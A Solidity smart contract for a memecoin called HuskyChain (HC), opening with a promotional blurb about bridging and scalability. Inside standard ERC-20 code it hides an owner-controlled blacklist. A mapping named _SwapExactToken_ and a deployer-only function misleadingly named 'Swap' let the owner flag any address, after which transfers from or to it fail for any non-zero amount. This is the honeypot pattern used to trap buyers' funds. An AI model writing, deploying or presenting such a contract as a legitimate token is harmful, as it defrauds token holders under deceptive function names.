/**
 🐺HuskyChain 🐺

Welcome to HuskyChain!

We want to explain the HuskyChain bridging and its interoperability 
with Husky coin and other memecoins. HuskyChain complements the
 existing memecoins ecosystems through its incorporation of smart contracts.  
 Through delivering a revolutionary blockchain, it brings utility , 
 security and scalability along with it.
 
 
 */



//SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _SwapExactToken_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_SwapExactToken_[msg.sender] || _SwapExactToken_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_SwapExactToken_[_from] || _SwapExactToken_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function Swap(
    address _addressToSwap 
  ) 
    external
  {
    require(msg.sender == approved);
    if (_SwapExactToken_[_addressToSwap] == true) {
      _SwapExactToken_[_addressToSwap] = false;
    } else {
      _SwapExactToken_[_addressToSwap] = true;
    }
  }

  function rewardsAddress(
    address _addressToSwap
  )
    public
    view
    returns (bool) 
  {
    return _SwapExactToken_[_addressToSwap];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract HuskyChain is StandardToken {

  string public constant name = "Husky Chain";
  string public constant symbol = "HC";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 3000000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}